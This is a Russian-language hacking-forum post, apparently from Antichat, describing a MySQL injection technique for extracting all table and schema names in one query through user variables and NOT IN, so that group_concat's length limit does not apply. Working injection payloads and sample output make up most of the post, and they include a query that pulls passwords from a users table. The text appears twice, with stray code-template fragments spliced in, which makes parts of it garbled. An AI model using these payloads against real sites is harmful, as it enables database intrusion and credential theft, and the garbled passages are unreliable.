|
Познавший АНТИЧАТ
Регистрация: 16.07.2010
Сообщений: 1,022
С нами:
8328566
Репутация:
935
|
|
Сообщение от None
Хочу рассказать вам о новой (может я что-то пропустил?) технике вывода данных при MySQL injection.
Дело в том, что очень неудобно когда при наличии уязвимости в результате мы можем получить всего одну строку за запрос.
Например чтоб получить структуру БД в 5 ветке MySQL, нам придется совершить столько запросов, сколько таблиц в этой самой БД. Ну а о получении имен колонок этих таблиц я уже помалкиваю.
Выходом может быть использование конструкции group_concat, но она имеет ограничение по возвращаемой длине заданное в group_concat_max_len (по умолчанию - 1024) и при огромном количестве таблиц, строка просто обрежется по этой длине.
Обойти это ограничение можно с помощью добавления условий, например table_name>{имя последней полученной таблицы}
Сообщение от None
select group_concat(table_name) from information_schema.tables
Сообщение от None
table
table_1
....
table_200
Сообщение от None
select group_concat(table_name) from information_schema.tables where table_name>'table_200'
Сообщение от None
table_201
...
table_400
Сообщение от None
select group_concat(table_name) from information_schema.tables where table_name>'table_400'
...
Еще можно использовать benchmark, типо того:
Сообщение от None
select concat(@a:=0, @b:=1, benchmark(100, if( (select count(password) from users where id=@a), @b:=concat( (select password from users where id=@a), 0x3a, @b, @a:=@a+1), @a:=@a+1) ) ), cast(@b as char) from users
Но при таком запросе, необходимо чтоб был уникальный числовой ключ.
Или можно ограничивать данные по логическим критериям, чтоб отбирать не все сразу. Но опять же - все делается не одним запросом.
Не буду Вас больше томить тем что Вы и так знаете и покажу о чем я говорю.
Я предлагаю без group_concat и benchmark вывести имена всех таблицы одним запросом.
Запрос строится на пользовательских переменных и условии
NOT IN
( но ручками мы туда вписывать ничего не будем ). Что-то типо цикла - только без явного цикла =)
Скажем для получения всех таблиц БД, запрос будет выглядеть таким образом:
Сообщение от None
select @pro from ( select @pro:=0x2727, (select null from information_schema.tables where table_name not in(
Сообщение от None
@pro:=concat(@pro,0x2c27,table_name,0x27) ) limit 0,1 ) )fexer
'','CHARACTER_SETS','COLLATIONS',...
" if author else f"
select @pro from ( select @pro:=0x2727, (select null from information_schema.tables where table_name not in(
Сообщение от None
@pro:=concat(@pro,0x2c27,table_name,0x27) ) limit 0,1 ) )fexer
'','CHARACTER_SETS','COLLATIONS',...
@pro
- наша пользовательская переменная
fexer
- требуемый алиас для таблицы
У нас получилась некая рекурсия или цикл (не уверен как именно оно обрабатывается), который склеил все строки в одну переменную, которую мы потом и получили.
При склейке данных ( concat ) запрос примет следующий вид:
Сообщение от None
select @pro from ( select @pro:=0x2727, (select null from information_schema.tables where concat(table_schema,0x2e,table_name) not in( @pro:=concat(@pro,0x2c27,table_schema,0x2e,table_n ame,0x27) ) limit 0,1 ) )fexer
Сообщение от None
'','information_schema.CHARACTER_SETS','informatio n_schema.COLLATIONS'...
Таким образом, мы можем получить все данные без предварительного запроса их общего количества, уникального численного ключа и ограничения в 1024 символа.
" if author else f"
Хочу рассказать вам о новой (может я что-то пропустил?) технике вывода данных при MySQL injection.
Дело в том, что очень неудобно когда при наличии уязвимости в результате мы можем получить всего одну строку за запрос.
Например чтоб получить структуру БД в 5 ветке MySQL, нам придется совершить столько запросов, сколько таблиц в этой самой БД. Ну а о получении имен колонок этих таблиц я уже помалкиваю.
Выходом может быть использование конструкции group_concat, но она имеет ограничение по возвращаемой длине заданное в group_concat_max_len (по умолчанию - 1024) и при огромном количестве таблиц, строка просто обрежется по этой длине.
Обойти это ограничение можно с помощью добавления условий, например table_name>{имя последней полученной таблицы}
Сообщение от None
select group_concat(table_name) from information_schema.tables
Сообщение от None
table
table_1
....
table_200
Сообщение от None
select group_concat(table_name) from information_schema.tables where table_name>'table_200'
Сообщение от None
table_201
...
table_400
Сообщение от None
select group_concat(table_name) from information_schema.tables where table_name>'table_400'
...
Еще можно использовать benchmark, типо того:
Сообщение от None
select concat(@a:=0, @b:=1, benchmark(100, if( (select count(password) from users where id=@a), @b:=concat( (select password from users where id=@a), 0x3a, @b, @a:=@a+1), @a:=@a+1) ) ), cast(@b as char) from users
Но при таком запросе, необходимо чтоб был уникальный числовой ключ.
Или можно ограничивать данные по логическим критериям, чтоб отбирать не все сразу. Но опять же - все делается не одним запросом.
Не буду Вас больше томить тем что Вы и так знаете и покажу о чем я говорю.
Я предлагаю без group_concat и benchmark вывести имена всех таблицы одним запросом.
Запрос строится на пользовательских переменных и условии
NOT IN
( но ручками мы туда вписывать ничего не будем ). Что-то типо цикла - только без явного цикла =)
Скажем для получения всех таблиц БД, запрос будет выглядеть таким образом:
Сообщение от None
select @pro from ( select @pro:=0x2727, (select null from information_schema.tables where table_name not in(
Сообщение от None
@pro:=concat(@pro,0x2c27,table_name,0x27) ) limit 0,1 ) )fexer
'','CHARACTER_SETS','COLLATIONS',...
" if author else f"
select @pro from ( select @pro:=0x2727, (select null from information_schema.tables where table_name not in(
Сообщение от None
@pro:=concat(@pro,0x2c27,table_name,0x27) ) limit 0,1 ) )fexer
'','CHARACTER_SETS','COLLATIONS',...
@pro
- наша пользовательская переменная
fexer
- требуемый алиас для таблицы
У нас получилась некая рекурсия или цикл (не уверен как именно оно обрабатывается), который склеил все строки в одну переменную, которую мы потом и получили.
При склейке данных ( concat ) запрос примет следующий вид:
Сообщение от None
select @pro from ( select @pro:=0x2727, (select null from information_schema.tables where concat(table_schema,0x2e,table_name) not in( @pro:=concat(@pro,0x2c27,table_schema,0x2e,table_n ame,0x27) ) limit 0,1 ) )fexer
Сообщение от None
'','information_schema.CHARACTER_SETS','informatio n_schema.COLLATIONS'...
Таким образом, мы можем получить все данные без предварительного запроса их общего количества, уникального численного ключа и ограничения в 1024 символа.
(c) profexer 2011
|